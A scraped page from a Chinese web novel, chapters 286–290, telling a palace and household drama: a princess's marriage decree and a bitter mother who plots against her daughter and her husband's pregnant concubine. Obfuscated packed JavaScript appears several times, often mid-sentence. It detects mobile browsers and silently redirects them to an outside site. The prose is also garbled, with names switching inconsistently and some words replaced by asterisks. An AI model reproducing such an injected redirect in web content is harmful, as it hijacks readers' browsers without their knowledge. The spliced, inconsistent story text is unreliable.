d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16473693|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 景元帝一旦做了决定,就不会轻易改变。 更何况,这件事还牵涉到皇室的颜面。 若是求情不成,反倒让景元帝觉得她在利用韩瑾,那就更糟了。 韩瑾眨了眨眼睛,理所当然地说: “因为父皇现在还在生气啊!气头上的人,是听不进去劝的。” 他顿了顿,又补充道: “不过母后也别太担心,父皇只是一时生气,等他气消了,就会想明白的。” “到时候,儿臣再去求情,父皇一定会答应的!” 皇后自嘲一笑,轻轻摸了摸韩瑾的头。 她摇摇头,没有再说什么,只是轻声吩咐: “阿玥,早些休息吧,别累坏了身子。你父皇那边,就别去了,明早,指不定是什么光景呢……” 她知道,自己不能把希望寄托在一个孩子身上。 明天,或许就是韩清韵被送往祥云寺的日子。 身为母亲,她却无能为力,只能眼睁睁地看着女儿受苦。 这一夜,漫长而煎熬。皇后一夜未眠,心力交瘁,仿佛老了十岁。 “娘娘……” 大宫女青竹急匆匆的身影,打破了清晨的寂静。她疾步走到榻边,声音里带着压抑不住的喜悦,又怕惊扰了皇后,刻意放轻了些。 皇后缓缓睁开眼,疲惫地揉着太阳穴。宿醉后的头痛欲裂,加上一夜未眠,眼下乌青一片。她已经做好了最坏的打算,无力地闭了闭眼,仿佛这样就能逃避即将到来的坏消息。 “娘娘!陛下给公主和陆将军下了道圣旨!” 青竹的声音,因为激动而微微颤抖,尾音都有些变了调,像是唱戏文一般。 仿佛一道惊雷劈下,皇后猛地睁开眼,愣怔在原地,连呼吸都忘记了。手中的动作也僵住了,怀疑自己是宿醉未醒,出现了幻听。 “赐……婚?” 皇后猛地抓住青竹的手臂,力道大得惊人,像是抓住了救命稻草。她急切地追问,声音嘶哑得不成样子,每一个字都像是从喉咙里挤出来的: “确定是……赐婚?哪个……陆小将军?” 青竹只当皇后是喜极而泣,一时没反应过来。她轻轻拍着皇后的手背,安抚着,又忍不住捂着嘴笑了起来,像是听到了什么天大的笑话: “我的娘娘,您这是欢喜糊涂了? 第二百八十六章 这大玺朝,除了镇国大将军家的公子宋明澜,除了他还能有谁?” 她顿了顿,语气里带着几分调侃,像是哄小孩一般: “难不成,您还以为是哪个山野村夫冒充的?” “这波血赚不亏,公主这次真是捡到宝了。” 青竹只当皇后是高兴傻了,言语间满是喜悦,连声替韩清韵感到高兴,仿佛这桩婚事是她自己的一般。 皇后依旧沉浸在巨大的震惊中,无法回神。整夜的焦虑和担忧,让她的嗓子沙哑干涩,嗓子疼得像被火烧一样。脑中一片混沌,像是生了锈的齿轮,艰难地转动着。 青竹看着皇后这般模样,又是心疼又是好笑。一边替皇后高兴,一边忙不迭地倒了一杯温水递过去,嘴里还不住地念叨着: “娘娘您慢点,先喝口水润润嗓子。看您这嗓子,都哑成什么样了。” 温热的水滑过喉咙,滋润了干涸的声带,混着淡淡的苦涩,皇后总算感觉舒服了些,找回了一丝清明。 “到底……怎么回事?” 她喃喃自语,端着水杯的手微微颤抖,水面泛起阵阵涟漪,语气中充满了疑惑和不解,像是问青竹,又像是问自己。 “怎么会……” 昨夜景元帝的态度还那般强硬,甚至连先皇后的情面都不顾。她苦苦哀求,用尽了手段,都未能让他改变主意。 这才过了一夜,怎么就突然改了主意?难不成,是陆家那边出了什么变故? 青竹见皇后终于回过神来,连忙扶着她缓缓坐下,又招呼外面的丫鬟端来热水,服侍她洗漱。 她一边拧着热毛巾,一边回忆着自己听到的消息: “具体缘由,我也不太了解情况,只听说……” 她顿了顿,组织了一下语言, “好像是陆小将军昨夜在宫门口跪了一夜,求皇上成全。” 青竹说到这里,忍不住感叹: “您是不知道,昨夜里多冷啊,陆小将军就那么跪着,硬是跪到了天亮!” 她压低了声音,神秘兮兮地凑到皇后耳边: “听说,皇上原本还恼着呢,可后来不知怎的,又改了主意,还问陆小将军,是不是非公主不娶。陆小将军也是个痴情的,当场就发了誓,说此生绝不纳妾,绝对是亲生的,定会一心一意待公主好。” “反正陛下已经把婚事定下来了,公主马上就能获释了。” 青竹一边说着,一边仔细地替皇后擦拭着脸颊,将那些疲惫和憔悴都小心翼翼地擦去。 听着青竹的叙述,皇后的目光渐渐恢复了神采,心中了然。 原来如此。 不是景元帝突然心软,而是宋明澜用自己的行动,给了韩清韵一个交代,也给了皇家一个台阶下。 而景元帝,依旧是那个杀伐果断的帝王,他不会被感情左右,更不会做亏本的买卖。 他之所以同意赐婚,是因为宋明澜的坚持和承诺,让他看到了这桩婚事背后的价值,看到了陆家对皇室、对韩瑾的忠心。 韩清韵是皇家公主,是她的女儿,亦是大昌最尊贵的嫡公主。韩瑾自幼养在她的膝下,视如己出。 陆家求娶韩清韵,这不就是在舔陛下吗。 皇上,已经在为韩瑾铺路了。 从赐婚圣旨下达的那一刻起,陆家、韩瑾,乃至皇上,这就是孽缘了属于是。 想到这里,皇后忍不住笑了,笑容中带着几分自嘲,几分释然。 景元帝,果然还是那个景元帝。 另一边,韩清韵从禁足中被释放,紧接着就接到了赐婚的圣旨。 她整个人都懵了,完全不敢相信这是真的,甚至开始怀疑这是不是一场梦。 她呆呆地站在原地,手里捏着那道明黄色的圣旨,只觉得轻飘飘的,没有一丝重量,仿佛随时都会被风吹走,消散在空气中。 她甚至不记得自己是如何接旨谢恩的,脑子里一片空白,只剩下“嗡嗡”的轰鸣声。 昨夜,她还以为自己要常伴青灯古佛,了此残生。她辗转反侧,难以入眠,心中充满了绝望和不甘。 可一觉醒来,她竟然成了宋明澜的未婚妻? 韩清韵只觉得脸颊滚烫,像是被火烧了一样,一阵阵发热。心跳也乱了节奏,像是有一只小鹿在里面横冲直撞,“砰砰”地撞击着她的胸腔,快要跳出嗓子眼。 她下意识地抚摸着那件雪白的披风,指尖微微颤抖。 韩清韵心想,自己果然没有喜欢错人,可这欢喜只持续了片刻。 随即,甜蜜像潮水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16473694|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 般退去,露出了底下嶙峋的礁石。 她提着裙摆,一路小跑来到长乐宫,顾不得宫人们的请安,直接冲了进去。 “母后……” 她一头扑进皇后的怀里,紧紧抱着皇后的腰,像是受了天大的委屈,声音软糯,带着一丝哭腔。 她紧紧攥着皇后的衣角,把头埋在皇后的怀里,声音闷闷的: “母后……” 皇后温柔地摸着女儿的秀发,动作轻柔,语气中满是怜爱: “这是怎么了?可是这赐婚……你不满意?” 她了解自己的女儿,这孩子虽然性子骄纵,却也单纯。 “母后瞧你……似乎并不是很高兴,对陆将军没感觉吗?” 她小心翼翼地试探着,生怕说错了话,惹女儿伤心。 韩清韵立刻摇起了头,像是拨浪鼓一样,急切地否认,声音都有些变了调: “没有!我喜欢他!我最喜欢他了!” 她抬起头,一双水汪汪的大眼睛里写满了真诚,生怕皇后不相信似的,又重复了一遍: “我真的……很喜欢他,比喜欢糖葫芦还喜欢!” 皇后被她逗笑了,轻轻点了点她的额头: “傻丫头,既然喜欢,又这般愁眉苦脸做什么?” 韩清韵重新把头埋在皇后的怀里,紧紧抱着皇后的腰,说话听着闷闷的,闷得让人心疼: “我怕……他只是为了负责任,才娶我的。” 她顿了顿,深吸了一口气,像是鼓足了勇气,才继续说道: “我怕……他根本不喜欢我,在他眼里我就是个身份象征,而不是……一个他喜欢的人。” 她断断续续地说着,声音越来越低,带着一丝不易察觉的颤抖。 “我怕……他心里其实装着别人,只是为了大局,才不得不娶我。” 韩清韵的声音里充满了担忧和害怕,像是迷失在森林里的小鹿,找不到方向。 身为大昌的公主,她有自己的骄傲,有自己的坚持。她可以坦然地表达自己的喜欢,却也无法接受一段没有感情的婚姻。 若她和宋明澜只是普通的青梅竹马,他喜不喜欢自己,她根本不放在心上。可现在,他是她的未婚夫,是她要相伴一生的人。 第二百八十七章 若不能两情相悦,她宁愿从未开始。 皇后揽着韩清韵,目光落在窗外,透过那青翠的竹叶,看向更远的地方。 过了许久,她才缓缓开口,声音低沉而温柔: “清韵,你听着,母后只希望你,永远都不要为了不爱你的人伤心。” 她轻轻拍着韩清韵的背,像是安抚,又像是鼓励: “你喜欢他,这是你的事。他对你有没有意思,那是他的事。你可以为他高兴,为他难过,但不要让他,成为你情绪的主宰。” 韩清韵似懂非懂地抬起头,看着皇后,眼神中带着一丝迷茫。 皇后看着女儿,语重心长地说: “这世上的事,不如意者十之**。若是真心喜欢,便勇敢去追,但也要做好……他不爱你的准备。若是发现他心里没有你,也别强求,更别委屈了自己。” 她停顿了一下,似乎在回忆什么,眼神变得有些复杂。 “做妻子的本分是要尽的,只是不必再多费心思了。往后的日子还长,你要学着……为自己活。” 韩清韵低下头,长长的睫毛微微颤动,遮住了眼底的情绪。 她嗅到了不寻常的气息,却没有点破。 她又把头钻进了皇后怀中,紧紧地抱着皇后,汲取着那份温暖和力量,轻轻地说: “母后,女儿知道了。” 这一刻,她觉得自己好像长大了,又好像,更加迷茫了。这深宫之中,情爱,或许是最奢侈的东西。宋明澜最近几日像是屁股底下长了钉子,坐也不是,站也不是。 晏清澜被迫全程围观,只见他一会儿挠头,一会儿搓手,活像只热锅上的蚂蚁。她无奈地和同样被迫旁听的宋溪溪交换了一个眼神,两人心照不宣地叹了口气。 宋明澜在院子里转圈,步子又急又乱,像是在躲避什么看不见的追兵。 他的视线在两个妹妹身上扫来扫去,最终还是没能憋住,第N次开口问道: “哎,你们说,三公主平日里都喜欢什么款式的衣裳首饰?她屋子……又喜欢布置成什么样?” 说到这里,宋明澜的声音低了下去,带了些许忐忑: “她这眼瞅着就要出嫁了,总不能让她从金碧辉煌的公主府搬到咱们家,住的地方天差地别吧?这落差也太大了!万一她住不习惯,心里得多难受啊……” 晏清澜和宋溪溪对视一眼,只觉得耳边嗡嗡作响,仿佛有几百只苍蝇在飞。 晏清澜索性把手一摊,一副“我也没办法”的模样: “三公主喜欢什么,我怎么可能知道?要不……我舍命陪君子,夜探公主府,帮你打探打探?” 宋溪溪眼睛一亮,立刻举双手赞成: “好主意!不过阿清姐姐,你轻功虽好,万一被发现了可不得了。还是我去吧,我皮糙肉厚的,挨几下打也没事。” “胡闹!” 宋明澜想都没想就打断了她们,一人赏了一个爆栗,力道还不轻。 “你们两个,一天到晚就想着搞事情!公主府是什么地方?是能随便乱闯的吗?这话要是传到爹娘耳朵里,看他们不扒了你们的皮!” 宋溪溪吃痛地捂住脑袋,朝他做了个鬼脸,顺手抓起桌上的点心塞进嘴里,含糊不清地嘟囔: “你倒是说该咋整!你在这儿干着急,还不如直接去问问三公主本人呢。” 她一边嚼着点心,一边还不忘“煽风点火”: “你为她做的这些,怎么也得让她知道吧?不然人家还以为你这未婚夫一点儿都不上心呢!” 宋明澜一愣,随即露出一个“你怕不是个傻子吧”的表情: “我倒是想问啊,可她住在深宫里头,我怎么问?难不成我还能飞进去?” 晏清澜也坐直了身子,慢条斯理地从盘子里拈起一块桂花糕,轻轻咬了一口: “你不是在教八皇子剑术吗?让他递个话儿给三公主,不就得了?” 宋明澜听了,眼睛先是一亮,像是黑夜里突然亮起了一盏灯。可这灯光只闪了一下,就灭了。他苦着脸: “问问她喜欢什么还凑合……可我总不能直接问,‘公主殿下,您那屋里都摆了些啥’吧?这也太冒失了,哪像个未婚夫该说的话!” 晏清澜点点头,表示赞同。这话确实不妥,容易让人误会。 宋溪溪眼珠子一转,有了主意,一拍大腿: “这还不简单!下次你去教八皇子,我和阿清姐姐就说是去探班。” 她朝晏清澜眨眨眼: “然后,咱们就对三公主软磨硬泡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16482049|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,争取让她带咱们去公主府转转!这不就都清楚了?” 宋明澜一听,乐了,笑得像个二傻子: “这主意好!那就……全靠你们俩了!” 晏清澜和宋溪溪看着他这副没心没肺的傻样,默默对视一眼,不约而同地叹了口气。 突然间,觉得手里的点心都不香了。 宋溪溪更是夸张地捂住胸口,哀嚎一声: “哎哟,不行了,今天这狗粮吃得太饱,我得缓缓……” 这边厢,陆家兄妹三人笑闹成一团,气氛轻松愉快。 而另一边,苏府的气氛却阴沉得像是暴风雨来临前的天空,压抑得让人喘不过气。 庄家的一家之主,晏明远回来了。 他带回来的,除了风尘仆仆,还有一个让钱雅芝差点当场去世的“惊喜”——一个身怀六甲的女人。 这女人姓秋,就叫一个屏。 仲娆前脚进门,晏明远后脚就逼着钱雅芝认下了这门亲。 不仅如此,他还带着仲娆去见了晏老夫人,算是彻底坐实了仲娆姨娘的身份。 钱雅芝本就因为晏清澜的事,气得心口疼。 这下可好,新仇旧恨一起涌上来,她直接两眼一翻,病倒在了床上。 晏明远见状,不仅没有丝毫怜惜,反而冷笑一声,语气中满是厌恶: “病了?我看是装的吧!行,既然你身子不爽利,就别管家里的事了,让仲姨娘帮你搭把手。” 他这话,明面上是体恤钱雅芝,实际上却是为了给仲姨娘撑腰。 钱雅芝气得差点从床上跳起来,但她还是强忍着怒火,没有当场发作。 她挣扎着坐起身,身边的丫鬟连忙上前扶住她。 钱雅芝脸色苍白,嘴唇颤抖,声音嘶哑: “老爷,这……这不合规矩啊。让姨娘掌家这事说不过去?” 她的声音里带着一丝绝望和愤怒: “我不是不肯放权,只是……只是这传出去,庄家的脸面还要不要了?” 晏明远却像是铁了心要和她作对,冷冷地说道: “规矩?规矩是死的,人是活的!现在是非常时期,就得用非常手段!” “仲姨娘虽然是新来的,但她聪明伶俐,学东西快。 第二百八十八章 你好好教她,用不了多久,她就能独当一面了。” 仲姨娘站在一旁,始终低眉顺眼,一副温顺恭敬的模样,让人挑不出半点错处。 她心里很清楚,这个时候,她越是低调,越是能赢得晏明远的好感。 钱雅芝见晏明远态度坚决,知道再说什么也没用,只能强压下心中的怒火,另想办法。 她深吸一口气,努力让自己的声音听起来平静一些: “老爷说的是,是我考虑不周。” “不过,秋妹妹现在身子重,不宜操劳。家里的事,还是等她把娃生下来再议吧。” 她顿了顿,又补充道: “芸芸和玥玥也大了,是时候让她们学着管家了。正好,也让她们历练历练。” 钱雅芝这话,看似退了一步,实际上却是以退为进。 她把晏芸清和晏玥玥推出来,一来可以避免让仲姨娘插手家务,二来也是为了提醒晏明远,庄家还有她们母女在,他不能太过分。 晏明远听了,脸色微微一变。 他没想到,钱雅芝竟然会用这一招来对付他。 他沉默了片刻,语气缓和了一些: “既然如此,那就让芸芸和玥玥先学着吧。” “仲姨娘,你就安心养胎,其他的事,不用你操心。” 他对仲姨娘说完,又转头对钱雅芝说道: “仲姨娘住在芸香院,离你这儿远,来回不方便。以后,早晚请安就算了,等她把娃生下来再议。” 钱雅芝听了,只觉得胸口一阵绞痛,像是被人狠狠地捅了一刀。 她知道,晏明远这是在明目张胆地偏袒仲姨娘,根本不把她这个正房夫人放在眼里。 可事到如今,她也只能打落牙齿和血吞,把所有的委屈和愤怒都咽进肚子里。 她强忍着心中的怒火,挤出一个比哭还难看的笑容: “老爷说的是,是我疏忽了。秋妹妹身子要紧,理应好好休息。” 仲姨娘连忙上前一步,向晏明远和钱雅芝行礼道谢: “多谢老爷,多谢夫人体恤。” 钱雅芝看着她那副娇滴滴的模样,恨不得扑上去撕烂她的脸。 但她还是强忍着心中的厌恶,装出一副关切的样子: “妹妹安心养胎,有什么需要,只管跟姐姐说。缺什么少什么,只管让人告诉芸芸和玥玥。总之,你只管安心养胎,旁的不用操心。” 仲姨娘再次道谢,声音柔得能滴出水来。仲姨娘心下通透。 钱雅芝这番话,看似体贴入微,实则句句带刺。 缺什么?找两位小姐。这是明示她不过是个姨娘,无权直接调配府中资源。 下人不好用?找夫人。这更是**裸的警告,提醒她认清自己的身份,不要妄想越过钱雅芝。 仲姨娘暗自冷笑,余光扫过钱雅芝紧绷的下颌,心中已有了计较:看来这位夫人,比我想象中还要沉不住气。 也好,这种直来直去的性子,总比那些心思深沉、笑里藏刀的要好对付。 仲姨娘垂眸,掩去眼底一闪而过的精光,柔顺地应了声“是”,便不再多言。 这些女人间的弯弯绕绕,晏明远向来是懒得理会的。 他所有的注意力都在仲姨娘身上,语气也放柔了几分: “你也累坏了吧,先回去歇息吧,仔细身子。” 说着,他转过头,目光如冰刀般扫向钱雅芝的贴身丫鬟: “好生伺候着姨娘回去,要是出了什么意外,仔细你的皮!” 他声音不大,却足以让那丫鬟吓得浑身一颤。 钱雅芝脸色铁青,紧紧攥着手中的帕子,指节泛白,几乎要把帕子撕碎。 当着她的面,如此威胁她的丫鬟,这分明是在警告她! 仲姨娘心中跟明镜似的,知道晏明远这是要支开她,接下来要说的话,不方便让她听见。 否则,以晏明远对她的这份紧张,定会亲自送她回去。 仲姨娘心思百转,面上却愈发恭顺,欠了欠身,轻声道了句“是”,便带着丫鬟悄然退了出去。 果不其然,她前脚刚迈出房门,后脚,晏明远便随意找了几个借口,将屋里伺候的一众丫鬟婆子都打发了出去。 原本还算热闹的房间,瞬间变得冷清。 只剩下晏明远和钱雅芝二人。 没了旁人,晏明远也不再掩饰,脸上的温情褪去,取而代之的是一片阴沉。 他猛地一挥衣袖,带起一阵风,直扑钱雅芝面门。 钱雅芝猝不及防,被这阵风刮得往后踉跄了几步,险些跌倒。 还未等她站稳,晏明远冰冷的声音便在耳边炸响: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16482050|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你可知错?!” 钱雅芝猛地抬头,眼中尽是惊愕与不解: “我……我何错之有?” 她声音颤抖,带着一丝委屈: “老爷一回来,为了那个小三抢走我的一切,现在又要为了什么问我的罪?” 晏明远冷哼一声,眼中寒光闪烁: “你还敢狡辩?” 他逼近钱雅芝,声音低沉而危险: “我离京之前,千叮咛万嘱咐,让你好生对待阿清,寻个合适的时机将她接回府。你倒好,阳奉阴违,把我的话当耳旁风!” “外头那些不堪入耳的流言,究竟是怎么回事?你给我一五一十地说清楚!” 近来,盛京城里流言四起。 其中传得最广的,莫过于燕王与陆家大公子宋明澜之间的“断袖情”。 说那燕王,看上了宋明澜。 可宋明澜又是个顶天立地的男子汉,对三公主一往情深。 这流言越传越烈,甚至有人说,宋明澜为了避开燕王,已经向陛下求了赐婚。 这些个风流韵事,晏明远压根不关心。 他真正在意的,是另一桩与苏府有关的流言。 晏明远紧紧盯着钱雅芝,目光如炬,似要将她看穿: “有人说,是晏四姑娘亲口指认你这个嫡母心狠手辣,**庶子庶女,甚至险些害**自己的亲生女儿!” “钱雅芝,你最好给我一个合理的解释!” 钱雅芝的脸色,瞬间变得狰狞可怖。 她猛地拔高了声音,尖叫道: “我怎么知道?!我当初就该掐死那个小**!要不是你们拦着,哪会有今日这些麻烦事!” 她死死地盯着晏明远,眼中的恨意几乎要溢出来: “接她回来?别做梦了!” “她现在攀上了高枝儿,认了个大将军当爹,你还指望她能认你这个亲爹?” “她恨不得咱们都**才好!” 钱雅芝越说越激动,声音嘶哑,面容扭曲。 她现在只想回到过去,不顾一切地掐死晏清澜。 她本就病着,面色苍白,眼圈发黑,此刻这副模样,像极了从地狱里爬出来的恶鬼。 “她就是个灾星!克父克母克全家!她活着,咱们谁都别想好过! 第二百八十九章 ” 钱雅芝的声音在房间里回荡,尖锐而刺耳。 晏明远看着眼前这个状若疯狂的女人,眼中闪过一丝厌恶。 他向后退了一步,拉开了与钱雅芝的距离: “不可理喻!” 这四个字,像一记重锤,狠狠砸在了钱雅芝的心上。 她猛地抬起头,发丝凌乱,眼神疯狂: “你说我不可理喻?晏明远,你有什么资格说我?!” 她凄厉地笑着,声音嘶哑: “当年我怀着那个小**的时候,你是怎么对我的?你心里眼里就只有晏清萦那个**的娘!你为了她,甚至还打我!” “你现在倒好,装出一副情深义重的样子,给谁看?!” 晏明远被她这番话堵得哑口无言,脸色一阵青一阵白。 他深吸一口气,强压下心头的怒火: “陈年旧事,提它作甚?!” “钱雅芝,我警告你,安分守己,别再给我惹是生非!” 他拂袖而去,只留下钱雅芝一人在房中。 钱雅芝看着他决绝的背影,只觉得浑身的力气都被抽干了。 她无力地跌坐在地上,泪水夺眶而出。 那些陈年旧事,她怎么可能忘得掉? 那些痛苦,那些绝望,早已刻在了她的骨子里,融入了她的血液中。 她越想越恨,越想越痛,最后,竟生生哭晕了过去。 周嬷嬷听到屋里的动静,急忙跑了进来,看到这一幕,吓得魂飞魄散,连忙去请大夫。 一番兵荒马乱之后,钱雅芝才缓缓醒转。 她看着床边守着的周嬷嬷,眼神空洞,声音嘶哑: “嬷嬷……我是不是……真的做错了……” 周嬷嬷心疼地握住她的手,轻声安慰: “夫人,您没错,您只是……太苦了。” 钱雅芝的眼泪再次涌了出来: “是啊,我太苦了……我这一辈子,都活在恨里……” “可是嬷嬷,我控制不住啊……一想到他对那个**那么好,回想起他以前的所作所为……我恨啊……” 她紧紧抓着周嬷嬷的手,指甲深深嵌进她的肉里: “我怀着晏清澜那个小**时,他眼里只有晏清萦那个**的娘!从我怀孕到生下她,再到坐月子,我没有一天是安心的!我恨他,我更恨那个小**!” “我恨不得……从未生过她……”“夫人啊,过去的就让它过去吧,您又何必一直耿耿于怀?” 周嬷嬷一下下轻抚着钱雅芝的脊背,替她顺着气,话里是掩不住的心疼与无奈, “您总这么记着,心里的病,哪儿能好呢?” 钱雅芝眼眶泛红,紧紧攥着手中的丝帕,手背上青筋隐隐浮现,脸上是一种近乎扭曲的癫狂: “嬷嬷以为我想记住吗?我怎能将这一切抹去!” 她微微仰起头,仿佛这样就能抑制住眼底的酸涩, “这些年,我连做梦都是他当年冷漠的样子,每一分每一寸,都像刀子刻在心上!” 声音嘶哑,带着压抑不住的颤抖,像从喉咙深处挤出来的一般。 “晏明远说我心狠,说我容不下人,” 钱雅芝猛地低下头,咬牙切齿, “他为何不好好想清楚,当初我进门的时候,也是温柔和顺,从不曾与人红过脸的!” 是啊,哪个刚出阁的女子,不是满怀憧憬,想要与夫君举案齐眉、白头偕老? 可这满腔的柔情,终究是被一点点磨灭了。 月子里结下的仇,是能记一辈子的。 这话,半点儿也没错。 周嬷嬷重重叹了口气,声音里都带着几分疲惫: “夫人,您又何必如此折磨自己?” 这又是何苦,何必执意与自己为敌,日日夜夜地煎熬? 钱雅芝死死咬着牙,眼底翻滚着浓烈的恨意,像两团燃烧的火焰,要将一切都焚烧殆尽。 “他防我,不就是怕我对那狐媚子下手,怕我伤了她肚子里的孽种吗?” 她冷笑一声, 声音尖利,像一把生锈的锯子在拉扯着人的神经。 消瘦的脸颊,高耸的颧骨,配上一双凶狠的眼睛, 让她看起来像极了话本里心肠歹毒的妇人, 又像是一个被逼到绝境、彻底疯狂的妇人。 周嬷嬷看着,心里一阵阵发寒, 她甚至觉得,自己有些看不透眼前这位夫人了。 她稳住心神, 一把抓住钱雅芝的手,急切地劝道: “夫人请保持理智!您才是这苏府的主母,那仲姨娘算什么东西?不过是个玩意儿!” “如今几位公子和姑娘都出息,她肚子里那个,是龙是虫还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16485897|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道呢!哪怕生的是男孩,也越不过几位爷去!” 周嬷嬷微微顿了顿,语气缓和了些, “再说了,就算她生个男娃,养大成人也要十几年,到时候,这苏府还不是几位爷的天下?哪里轮得到一个黄口小儿指手画脚?” 她观察着钱雅芝的神色,又补充道: “就算……就算她真有那个福气,能平安长大,也未必能成什么气候。您想想,咱们几位爷,哪个不是人中龙凤?他一个庶出的,拿什么跟咱们比?” 钱雅芝的手微微颤抖着,指甲深深地掐进肉里,却感觉不到一丝疼痛。 她喃喃自语: “是啊,我怕什么?我有什么好怕的?我才是这苏府的主母,我怕一个妾室做什么?” 可话虽如此,她心里那口气,却怎么也咽不下去。 就像是有一根刺,扎在她的心头,拔不出,咽不下,时时刻刻都在折磨着她。 她猛地抓住周嬷嬷的胳膊,力道大得惊人, 像是要把心头的恨意,全都发泄出来似的,一字一顿地问: “嬷嬷,你老实告诉我,你……你有没有觉得,那个仲姨娘的模样,有几分眼熟?” 周嬷嬷喉头滚动,嘴唇嗫嚅了几下, 她早就想说了, 可是,她不敢啊! 这种事,说出来,岂不是在夫人心口上撒盐吗? 可如今,夫人既然问了,她也只能硬着头皮回答: “是……真的很像夫人当年的模样,特别是那双眼睛,水汪汪的,像是会说话一样。” 她小心翼翼地观察着钱雅芝的神色, “还有那性子,也是柔柔弱弱的,跟夫人您当年……” “够了!” 钱雅芝猛地打断她,脸色阴沉得可怕, “所以,他是故意的,对不对?” 她突然笑了起来, 那笑声,嘶哑、尖锐,像是从地狱里传出来的鬼哭狼嚎,让人毛骨悚然。 “他还忘不了我!他是故意找了个像我的女人,来恶心我,来报复我!” 她越说越激动, 眼中的恨意几乎要化为实质,将她整个人都吞噬。 周嬷嬷看着钱雅芝这副模样,吓得魂飞魄散, 她连忙扑上去,紧紧抱住钱雅芝, “夫人,您冷静点!您可千万别这么想! 第二百九十章 老爷他……他只是一时糊涂!” “男人嘛,都是喜新厌旧的,等这阵子新鲜劲儿过去了,也就好了。” 周嬷嬷搜肠刮肚地想着安慰的话, “您想想,您才是这苏府的主母,您有儿有女,谁也越不过您去!” “您跟一个姨娘置什么气呢?不值当啊!” 钱雅芝像是听不见她的话似的, 自顾自地说着: “他喜欢年轻的,喜欢温柔的,喜欢像我一样的……” 她突然停了下来, 眼神空洞,像是一个失去了灵魂的木偶。 周嬷嬷看着她这副模样,心里更加害怕了, 她不知道钱雅芝到底在想什么, 但她知道,钱雅芝一定是钻了牛角尖。 “夫人……” 她颤抖着声音,想要劝说, 却被钱雅芝打断: “你说得对,我不该跟一个姨娘置气,不值当。” 钱雅芝的声音突然变得平静, 平静得让人感到诡异。 她抬起头,看着周嬷嬷, 眼神冰冷,毫无温度: “与其跟一个替身置气,不如……直接除掉源头。” 她垂下眼眸,把玩着手腕上的玉镯, “他不是喜欢年轻貌美的吗?那我就让他看看,年轻美貌的下场!” 她的声音很轻, 轻得像是在自言自语, 但周嬷嬷却听得清清楚楚, 她只觉得一股寒意从脚底直窜头顶, 让她浑身发冷, “夫人,您……您可不能乱来啊!” 她颤抖着声音,想要劝阻, 可钱雅芝已经听不进去了, 她的眼中,只有疯狂的恨意和决绝。 “从前是我太傻,总想着,她再怎么说,也是我身上掉下来的一块肉,我对她再不好,也终究是母女一场。” 钱雅芝的声音,像冬日里结了冰的湖面,寒冷,僵硬。 “可我如今算是想明白了,有些人,生来就是讨债的。留着她,只会让我日日不得安宁。” 她抬起头,看着窗外,眼神幽深, “既然如此,倒不如快刀斩乱麻,一了百了。” 她缓缓转过头,盯着周嬷嬷,一字一顿: “你说,是不是?” 周嬷嬷看着钱雅芝那张熟悉又陌生的脸, 只觉得心底发寒, 她知道,钱雅芝这次是真的下定了决心。 她想劝,却又不知道该如何劝起, 她知道钱雅芝的性子,一旦决定的事情,九头牛都拉不回来。 她张了张嘴,最终却只能化为一声叹息: “夫人,您……您可千万要三思啊!” 道歉服软? 这几个字,在钱雅芝的字典里,根本就不存在。 她这辈子,都不会向任何人低头,更不会向晏清澜那个灾星低头! 钱雅芝眼神冰冷, “嬷嬷别再多说了,那个灾星,我是断断不能留了。” “只有她消失了,咱们苏府才能安宁,我也才能安生。” 她的话音刚落, “啪嗒——” 门外,突然传来一声脆响, 像是瓷器被打碎的声音, 在寂静的夜里,显得格外刺耳。 